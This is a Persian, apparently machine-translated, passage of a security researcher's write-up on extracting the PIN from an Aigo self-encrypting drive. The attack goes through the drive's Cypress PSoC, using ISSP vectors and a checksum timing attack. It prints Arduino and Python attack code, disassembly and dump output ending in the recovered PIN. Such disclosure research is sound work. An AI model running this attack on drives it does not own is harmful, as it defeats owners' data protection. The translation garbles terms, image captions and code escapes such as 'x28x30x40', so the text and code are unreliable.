معکوس کردن و هک کردن درایو HDD خارجی خود رمزگذاری شده Aigo. قسمت 2: برداشتن زباله از Cypress PSoC

این قسمت دوم و پایانی مقاله در مورد هک درایوهای خود رمزنگاری خارجی است. به شما یادآوری می کنم که اخیراً یکی از همکاران یک هارد دیسک Patriot (Aigo) SK8671 برای من آورده است و من تصمیم گرفتم آن را معکوس کنم و اکنون آنچه را که از آن به دست آمده را به اشتراک می گذارم. قبل از خواندن ادامه مطلب حتما بخوانید قسمت اول مقالات

4. ما شروع به برداشتن زباله از درایو فلش داخلی PSoC می کنیم
5. پروتکل ISSP
- 5.1. ISSP چیست؟
- 5.2. ابهام زدایی بردارها
- 5.3. ارتباط با PSoC
- 5.4. شناسایی رجیسترهای روی تراشه
- 5.5. بیت های امنیتی
6. اولین حمله (شکست خورده): ROMX
7. حمله دوم: ردیابی چکمه های سرد
- 7.1. پیاده سازی
- 7.2. خواندن نتیجه
- 7.3. بازسازی باینری فلش
- 7.4. پیدا کردن آدرس ذخیره کد پین
- 7.5. برداشتن کمپرسی از بلوک شماره 126
- 7.6. بازیابی کد پین
8. بعدی چیه؟
9. نتیجه گیری

معکوس کردن و هک کردن درایو HDD خارجی خود رمزگذاری شده Aigo. قسمت 2: برداشتن زباله از Cypress PSoC


4. ما شروع به برداشتن زباله از درایو فلش داخلی PSoC می کنیم

بنابراین، همه چیز نشان می دهد (همانطور که در [بخش اول]() مشخص کردیم) که کد پین در اعماق فلش PSoC ذخیره می شود. بنابراین، ما باید این عمق فلاش را بخوانیم. جلوی کارهای ضروری:

  • کنترل "ارتباط" با میکروکنترلر را در دست بگیرید.
  • راهی برای بررسی اینکه آیا این "ارتباطات" از خواندن از بیرون محافظت می شود پیدا کنید.
  • راهی برای دور زدن حفاظت پیدا کنید.

دو مکان وجود دارد که منطقی است به دنبال یک کد پین معتبر بگردید:

  • فلش مموری داخلی؛
  • SRAM، جایی که کد پین را می توان برای مقایسه آن با پین کد وارد شده توسط کاربر ذخیره کرد.

با نگاهی به آینده، متذکر می شوم که پس از معکوس کردن قابلیت های غیرمستند پروتکل ISSP، هنوز هم توانستم فلش درایو داخلی PSoC را - با دور زدن سیستم امنیتی آن با استفاده از یک حمله سخت افزاری به نام "ردیابی بوت سرد" - یک کمپرس کنم. این به من اجازه داد که مستقیماً کد پین واقعی را حذف کنم.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

کد نهایی برنامه:

5. پروتکل ISSP

5.1. ISSP چیست؟

"ارتباط" با یک میکروکنترلر می تواند به معنای متفاوت باشد: از "فروشنده به فروشنده" تا تعامل با استفاده از یک پروتکل سریال (به عنوان مثال، ICSP برای PIC Microchip).

Cypress پروتکل اختصاصی خود را برای این کار دارد که ISSP (پروتکل برنامه نویسی سریال درون سیستمی) نامیده می شود که تا حدی در مشخصات فنی. پتنت US7185162 اطلاعاتی هم می دهد همچنین یک معادل OpenSource به نام HSSP وجود دارد (کمی بعد از آن استفاده خواهیم کرد). ISSP به شرح زیر عمل می کند:

  • راه اندازی مجدد PSoC؛
  • خروجی شماره جادویی به پین ​​داده سریال این PSoC. برای ورود به حالت برنامه نویسی خارجی؛
  • دستورات را ارسال کنید، که رشته های بیتی بلندی هستند که "بردار" نامیده می شوند.

مستندات ISSP این بردارها را فقط برای تعداد کمی از دستورات تعریف می کند:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (گزینه های 3 ولت و 5 ولت)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111، جایی که dddddddd=block #
  • پاک کردن انبوه
  • PROGRAM-BLOCK
  • تأیید تنظیم
  • READ-BYTE: 10110aaaaaaZDDDDDDDDDZ1، جایی که DDDDDDDD = داده خارج می شود، aaaaaa = آدرس (6 بیت)
  • WRITE-BYTE: 10010aaaaaaddddddd111، جایی که dddddddd = داده در آن، aaaaaa = آدرس (6 بیت)
  • امن
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDDZ110111111000ZDDDDDDDDZ1، جایی که DDDDDDDDDDDDDDDDDD = داده خارج شده: جمع کنترلی دستگاه
  • ERASE BLOCK

برای مثال، بردار Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

طول همه بردارها یکسان است: 22 بیت. اسناد HSSP دارای اطلاعات اضافی در مورد ISSP است: "بردار ISSP چیزی بیش از یک دنباله بیت نیست که مجموعه ای از دستورالعمل ها را نشان می دهد."

5.2. ابهام زدایی بردارها

بیایید بفهمیم اینجا چه خبر است. در ابتدا، من فرض می‌کردم که همین بردارها نسخه‌های خام دستورالعمل‌های M8C هستند، اما پس از بررسی این فرضیه، متوجه شدم که کدهای عملیاتی با هم مطابقت ندارند.

سپس وکتور بالا را در گوگل جستجو کردم و به آن برخوردم اینجا است مطالعه‌ای که در آن نویسنده، اگرچه وارد جزئیات نمی‌شود، نکات مفیدی را ارائه می‌کند: «هر دستورالعمل با سه بیت شروع می‌شود که با یکی از چهار یادگاری مطابقت دارد (خواندن از RAM، نوشتن در RAM، خواندن ثبت نام، ثبت ثبت نام). سپس 8 بیت آدرس، به دنبال آن 8 بیت داده (خواندن یا نوشتن) و در نهایت سه بیت توقف وجود دارد.

سپس من توانستم اطلاعات بسیار مفیدی را از بخش Supervisory ROM (SROM) جمع آوری کنم. راهنمای فنی. SROM یک رام سخت کدگذاری شده در PSoC است که توابع کاربردی (به روشی مشابه Syscall) را برای کد برنامه در حال اجرا در فضای کاربر فراهم می کند:

  • 00h:SWBootReset
  • ساعت 01: ReadBlock
  • ساعت 02: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

با مقایسه نام های برداری با توابع SROM، می توانیم عملیات مختلف پشتیبانی شده توسط این پروتکل را به پارامترهای SROM مورد انتظار نگاشت کنیم. به لطف این، ما می توانیم سه بیت اول بردارهای ISSP را رمزگشایی کنیم:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

با این حال، درک کامل فرآیندهای روی تراشه تنها از طریق ارتباط مستقیم با PSoC بدست می آید.

5.3. ارتباط با PSoC

از آنجایی که دیرک پتراتسکی قبلاً این کار را کرده است منتقل شده است کد HSSP Cypress در آردوینو، من از Arduino Uno برای اتصال به کانکتور ISSP برد کیبورد استفاده کردم.

لطفا توجه داشته باشید که در طول تحقیق من، کد دیرک را کمی تغییر دادم. می توانید اصلاحات من را در GitHub پیدا کنید: اینجا و اسکریپت پایتون مربوطه برای برقراری ارتباط با آردوینو، در مخزن من cypress_psoc_tools.

بنابراین، با استفاده از آردوینو، ابتدا فقط از بردارهای "رسمی" برای "ارتباطات" استفاده کردم. با دستور VERIFY سعی کردم رام داخلی رو بخونم. همانطور که انتظار می رفت، من نتوانستم این کار را انجام دهم. احتمالاً به این دلیل است که بیت های حفاظت خواندن در داخل فلش درایو فعال می شوند.

سپس چند بردار ساده خودم را برای نوشتن و خواندن حافظه/رجیسترها ایجاد کردم. لطفاً توجه داشته باشید که ما می توانیم کل SROM را بخوانیم حتی اگر درایو فلش محافظت شده باشد!

5.4. شناسایی رجیسترهای روی تراشه

پس از نگاه کردن به بردارهای "جداسازی شده"، متوجه شدم که دستگاه از رجیسترهای غیرمستند (0xF8-0xFA) برای تعیین کدهای عملیاتی M8C استفاده می کند، که مستقیماً اجرا می شوند و حفاظت را دور می زنند. این به من اجازه داد تا اپکدهای مختلفی مانند "ADD"، "MOV A، X"، "PUSH" یا "JMP" را اجرا کنم. با تشکر از آنها (با بررسی عوارض جانبی آنها بر روی رجیسترها) من توانستم تشخیص دهم که کدام یک از رجیسترهای غیرمستند واقعاً رجیسترهای معمولی هستند (A، X، SP و PC).

در نتیجه، کد "disassembled" تولید شده توسط ابزار HSSP_disas.rb به این شکل است (برای وضوح نظرات را اضافه کردم):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. بیت های امنیتی

در این مرحله می توانم با PSoC ارتباط برقرار کنم، اما هنوز اطلاعات قابل اعتمادی در مورد بیت های امنیتی فلش درایو ندارم. من از این واقعیت که Cypress هیچ وسیله ای را برای بررسی فعال بودن حفاظت در اختیار کاربر دستگاه قرار نمی دهد بسیار متعجب شدم. بیشتر در گوگل جستجو کردم تا در نهایت بفهمم که کد HSSP ارائه شده توسط Cypress پس از انتشار اصلاحات خود توسط دیرک به روز شده است. و همینطور! این بردار جدید ظاهر شده است:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

با استفاده از این بردار (به read_security_data در psoc.py مراجعه کنید)، همه بیت‌های امنیتی در SRAM را با ابعاد 0x80 دریافت می‌کنیم، جایی که در هر بلوک محافظت شده دو بیت وجود دارد.

نتیجه ناامید کننده است: همه چیز در حالت "غیرفعال کردن خواندن و نوشتن خارجی" محافظت می شود. بنابراین، نه تنها نمی‌توانیم چیزی از درایو فلش بخوانیم، بلکه نمی‌توانیم چیزی بنویسیم (مثلاً برای نصب یک دامپر رام در آنجا). و تنها راه غیرفعال کردن حفاظت پاک کردن کامل تراشه است. 🙁

6. اولین حمله (شکست خورده): ROMX

با این حال، می‌توانیم ترفند زیر را امتحان کنیم: از آنجایی که ما توانایی اجرای کدهای عملیاتی دلخواه را داریم، چرا ROMX را که برای خواندن حافظه فلش استفاده می‌شود، اجرا نکنیم؟ این رویکرد شانس موفقیت خوبی دارد. زیرا تابع ReadBlock که داده ها را از SROM می خواند (که توسط بردارها استفاده می شود) بررسی می کند که آیا از ISSP فراخوانی شده است یا خیر. با این حال، کد رمز ROMX ممکن است چنین بررسی را نداشته باشد. بنابراین کد پایتون (پس از اضافه کردن چند کلاس کمکی به کد آردوینو) در اینجا آمده است:

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

متاسفانه این کد کار نمی کند. 🙁 یا بهتر است بگوییم کار می کند، اما در خروجی ما کدهای عملیاتی خودمان را دریافت می کنیم (0x28 0x30 0x40)! من فکر نمی کنم که عملکرد مربوطه دستگاه عنصری از محافظت از خواندن باشد. این بیشتر شبیه یک ترفند مهندسی است: هنگام اجرای اپکدهای خارجی، گذرگاه ROM به یک بافر موقت هدایت می شود.

7. حمله دوم: ردیابی چکمه های سرد

از آنجایی که ترفند ROMX کار نمی کند، من شروع به فکر کردن در مورد نوع دیگری از این ترفند کردم - شرح داده شده در نشریه "پرتاب نور بیش از حد بر روی محافظ سیستم عامل میکروکنترلر".

7.1. پیاده سازی

مستندات ISSP بردار زیر را برای CHECKSUM-SETUP ارائه می دهد:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

این اساساً تابع SROM را 0x07 می‌نامد، همانطور که در مستندات ارائه شده است.

این تابع بررسی مجموع تایید. این یک جمع 16 بیتی تعداد بلوک های مشخص شده توسط کاربر در یک بانک فلش را محاسبه می کند که از صفر شروع می شود. پارامتر BLOCKID برای ارسال تعداد بلوک هایی که هنگام محاسبه چک جمع استفاده می شود استفاده می شود. مقدار "1" فقط جمع چک را برای بلوک صفر محاسبه می کند. در حالیکه "0" باعث می شود که جمع کل 256 بلوک فلش بانک محاسبه شود. جمع چک 16 بیتی از طریق KEY1 و KEY2 برگردانده می شود. پارامتر KEY1 8 بیت مرتبه پایین از چک جمع را ذخیره می کند و پارامتر KEY2 8 بیت مرتبه بالا را ذخیره می کند. برای دستگاه هایی با چندین بانک فلش، تابع چک جمع برای هر یک به طور جداگانه فراخوانی می شود. شماره بانکی که با آن کار خواهد کرد توسط رجیستر FLS_PR1 (با تنظیم بیت مربوط به فلش بانک مورد نظر در آن) تنظیم می شود.

توجه داشته باشید که این یک جمع‌بندی ساده است: بایت‌ها به سادگی یکی پس از دیگری اضافه می‌شوند. بدون CRC عجیب و غریب. علاوه بر این، با دانستن اینکه هسته M8C دارای مجموعه بسیار کوچکی از رجیسترها است، فرض کردم که هنگام محاسبه چک‌سوم، مقادیر میانی در همان متغیرها ثبت می‌شوند که در نهایت به خروجی می‌روند: KEY1 (0xF8) / KEY2 ( 0xF9).

بنابراین در تئوری حمله من به این صورت است:

  1. ما از طریق ISSP متصل می شویم.
  2. محاسبه جمع کنترل را با استفاده از بردار CHECKSUM-SETUP شروع می کنیم.
  3. ما پردازنده را پس از یک زمان مشخص T راه اندازی مجدد می کنیم.
  4. RAM را می خوانیم تا جمع چک فعلی C را بدست آوریم.
  5. مراحل 3 و 4 را تکرار کنید و هر بار مقدار T را کمی افزایش دهید.
  6. ما اطلاعات را از یک درایو فلش با کم کردن جمع چک قبلی C از فعلی بازیابی می کنیم.

با این حال، یک مشکل وجود دارد: بردار Initialize-1 که باید پس از راه اندازی مجدد ارسال کنیم، KEY1 و KEY2 را بازنویسی می کند:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

این کد با فراخوانی Calibrate1 (عملکرد SROM 9) چک جمع ارزشمند ما را بازنویسی می کند... شاید فقط بتوانیم شماره جادویی (از ابتدای کد بالا) را برای وارد شدن به حالت برنامه نویسی بفرستیم و سپس SRAM را بخوانیم؟ و بله، کار می کند! کد آردوینو که این حمله را پیاده سازی می کند بسیار ساده است:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. checkum_delay را بخوانید.
  2. محاسبه جمع چک (send_checksum_v) را اجرا کنید.
  3. برای مدت زمان مشخصی صبر کنید؛ با در نظر گرفتن مشکلات زیر:
    • زمان زیادی را هدر دادم تا اینکه فهمیدم چه نتیجه ای دارد تاخیر میکرو ثانیه فقط با تاخیرهای بیش از 16383 میکروثانیه به درستی کار می کند.
    • و سپس دوباره همان زمان را از بین بردم تا اینکه متوجه شدم delayMicroseconds، اگر 0 به عنوان ورودی به آن ارسال شود، کاملاً اشتباه کار می کند!
  4. PSoC را مجدداً در حالت برنامه نویسی راه اندازی کنید (ما فقط شماره جادویی را بدون ارسال بردارهای اولیه ارسال می کنیم).

کد نهایی در پایتون:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

به طور خلاصه، آنچه این کد انجام می دهد:

  1. PSoC را مجددا راه اندازی می کند (و یک عدد جادویی برای آن ارسال می کند).
  2. بردارهای اولیه سازی کامل را ارسال می کند.
  3. تابع Arduino Cmnd_STK_START_CSUM (0x85) را فراخوانی می‌کند، که در آن تأخیر در میکروثانیه به عنوان پارامتر ارسال می‌شود.
  4. جمع کنترلی (0xF8 و 0xF9) و ثبات غیرمستند 0xF1 را می خواند.

این کد 10 بار در 1 میکروثانیه اجرا می شود. 0xF1 در اینجا گنجانده شده است زیرا تنها ثباتی بود که هنگام محاسبه چک‌سوم تغییر کرد. شاید این یک نوع متغیر موقتی باشد که توسط واحد منطق حسابی استفاده می شود. به هک زشتی که برای تنظیم مجدد آردوینو با استفاده از پیکوکام استفاده می‌کنم، توجه کنید، زمانی که آردوینو از نشان دادن علائم حیات خودداری می‌کند (نمی‌دانم چرا).

7.2. خواندن نتیجه

نتیجه اسکریپت پایتون به این شکل است (برای خوانایی ساده شده):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

همانطور که گفته شد، ما یک مشکل داریم: از آنجایی که ما با یک چک جمع واقعی کار می کنیم، یک بایت تهی مقدار خوانده شده را تغییر نمی دهد. با این حال، از آنجایی که کل روش محاسبه (8192 بایت) 0,1478 ثانیه طول می کشد (با تغییرات جزئی در هر بار اجرا)، که معادل تقریباً 18,04 میکرو ثانیه در هر بایت است، می توانیم از این زمان برای بررسی مقدار checksum در زمان های مناسب استفاده کنیم. برای اولین اجرا، همه چیز به راحتی خوانده می شود، زیرا مدت زمان روش محاسباتی همیشه تقریباً یکسان است. با این حال، پایان این تخلیه دقت کمتری دارد زیرا "انحرافات زمان بندی جزئی" در هر اجرا جمع می شوند و قابل توجه می شوند:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

این 10 تخلیه برای هر میکروثانیه تاخیر است. کل زمان کار برای تخلیه تمام 8192 بایت فلش درایو حدود 48 ساعت است.

7.3. بازسازی باینری فلش

من هنوز نوشتن کدی را کامل نکرده ام که با در نظر گرفتن تمام انحرافات زمانی، کد برنامه درایو فلش را به طور کامل بازسازی کند. با این حال، من قبلاً ابتدای این کد را بازیابی کرده ام. برای اطمینان از اینکه این کار را به درستی انجام دادم، با استفاده از m8cdis آن را جدا کردم:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

کاملا قابل قبول به نظر می رسد!

7.4. پیدا کردن آدرس ذخیره کد پین

اکنون که می‌توانیم چک‌سوم را در زمان‌هایی که نیاز داریم بخوانیم، می‌توانیم به راحتی بررسی کنیم که چگونه و کجا تغییر می‌کند زمانی که:

  • کد پین را اشتباه وارد کنید؛
  • کد پین را تغییر دهید

ابتدا، برای یافتن آدرس ذخیره سازی تقریبی، پس از راه اندازی مجدد، یک جمع بندی چک را با افزایش 10 میلی ثانیه انجام دادم. سپس پین را اشتباه وارد کردم و همین کار را کردم.

نتیجه چندان خوشایند نبود، زیرا تغییرات زیادی وجود داشت. اما در نهایت توانستم تعیین کنم که چک‌سوم چیزی بین 120000 میکروثانیه تا 140000 میکروثانیه تاخیر تغییر کرده است. اما "پین کد" ای که من در آنجا نشان دادم کاملاً نادرست بود - به دلیل یک مصنوع از رویه delayMicroseconds که وقتی 0 به آن ارسال می شود کارهای عجیبی انجام می دهد.

سپس، پس از گذراندن تقریباً 3 ساعت، به یاد آوردم که فراخوانی سیستم SROM CheckSum یک آرگومان به عنوان ورودی دریافت می کند که تعداد بلوک ها را برای checksum مشخص می کند! که ما به راحتی می‌توانیم آدرس ذخیره‌سازی کد پین و شمارنده «تلاش‌های نادرست» را با دقت حداکثر 64 بایت بومی‌سازی کنیم.

اجراهای اولیه من نتیجه زیر را به همراه داشت:

معکوس کردن و هک کردن درایو HDD خارجی خود رمزگذاری شده Aigo. قسمت 2: برداشتن زباله از Cypress PSoC

سپس پین کد را از "123456" به "1234567" تغییر دادم و دریافت کردم:

معکوس کردن و هک کردن درایو HDD خارجی خود رمزگذاری شده Aigo. قسمت 2: برداشتن زباله از Cypress PSoC

بنابراین به نظر می رسد پین کد و شمارنده تلاش های نادرست در بلوک شماره 126 ذخیره شده است.

7.5. برداشت کمپرسی از بلوک شماره 126

بلوک شماره 126 باید در جایی در حدود 125x64x18 = 144000μs، از شروع محاسبه جمع کنترلی، در دامپ کامل من قرار گیرد، و کاملاً قابل قبول به نظر می رسد. سپس، پس از الک دستی تعداد زیادی تخلیه نامعتبر (به دلیل تجمع "انحرافات زمان بندی جزئی")، در نهایت این بایت ها را دریافت کردم (با تاخیر 145527 میکرو ثانیه):

معکوس کردن و هک کردن درایو HDD خارجی خود رمزگذاری شده Aigo. قسمت 2: برداشتن زباله از Cypress PSoC

کاملا واضح است که پین ​​کد به صورت رمزگذاری نشده ذخیره می شود! این مقادیر البته در کدهای ASCII نوشته نشده اند، اما همانطور که مشخص است، خوانش های گرفته شده از صفحه کلید خازنی را منعکس می کنند.

در نهایت، چند آزمایش دیگر را برای یافتن محل ذخیره شمارشگر تلاش بد انجام دادم. نتیجه این است:

معکوس کردن و هک کردن درایو HDD خارجی خود رمزگذاری شده Aigo. قسمت 2: برداشتن زباله از Cypress PSoC

0xFF - به معنای "15 تلاش" است و با هر تلاش ناموفق کاهش می یابد.

7.6. بازیابی کد پین

این کد زشت من است که موارد بالا را کنار هم قرار می دهد:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

در اینجا نتیجه اجرای آن است:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

هورا! آثار!

لطفاً توجه داشته باشید که مقادیر تاخیری که من استفاده کردم احتمالاً مربوط به یک PSoC خاص است - همان چیزی که من استفاده کردم.

8. بعدی چیه؟

بنابراین، بیایید در سمت PSoC، در زمینه درایو Aigo خود خلاصه کنیم:

  • ما می توانیم SRAM را بخوانیم حتی اگر محافظت شده خوانده شود.
  • ما می‌توانیم با استفاده از حمله ردیابی بوت سرد و خواندن مستقیم کد پین، از محافظت ضد ضربه زدن دور بزنیم.

با این حال، حمله ما به دلیل مشکلات همگام سازی دارای نقص هایی است. می تواند به شرح زیر بهبود یابد:

  • یک ابزار برای رمزگشایی صحیح داده های خروجی که در نتیجه حمله "ردیابی بوت سرد" به دست می آید بنویسید.
  • از ابزار FPGA برای ایجاد تاخیرهای زمانی دقیق تر استفاده کنید (یا از تایمرهای سخت افزاری آردوینو استفاده کنید).
  • حمله دیگری را امتحان کنید: یک کد پین عمداً نادرست را وارد کنید، RAM را مجدد راه اندازی کنید و آن را خالی کنید، به این امید که کد پین صحیح برای مقایسه در RAM ذخیره شود. با این حال، انجام این کار در آردوینو چندان آسان نیست، زیرا سطح سیگنال آردوینو 5 ولت است، در حالی که بردی که ما بررسی می کنیم با سیگنال های 3,3 ولت کار می کند.

یکی از چیزهای جالبی که می توان امتحان کرد، بازی با سطح ولتاژ برای دور زدن حفاظت خواندن است. اگر این روش کار می کرد، ما می توانستیم به جای تکیه بر خواندن یک جمع بندی با تاخیرهای زمان بندی نادقیق، داده های کاملا دقیق را از درایو فلش دریافت کنیم.

از آنجایی که SROM احتمالا بیت‌های محافظ را از طریق فراخوانی سیستم ReadBlock می‌خواند، می‌توانیم همان کاری را انجام دهیم که شرح داده شده در وبلاگ دیمیتری ندوسپاسوف - اجرای مجدد حمله کریس گرلینسکی که در کنفرانس اعلام شد "REcon Brussels 2017".

یکی دیگر از کارهای جالبی که می‌توان انجام داد این است که کیس را از تراشه جدا کنیم: حذف SRAM، شناسایی تماس‌ها و آسیب‌پذیری‌های غیرمستند سیستم.

9. نتیجه گیری

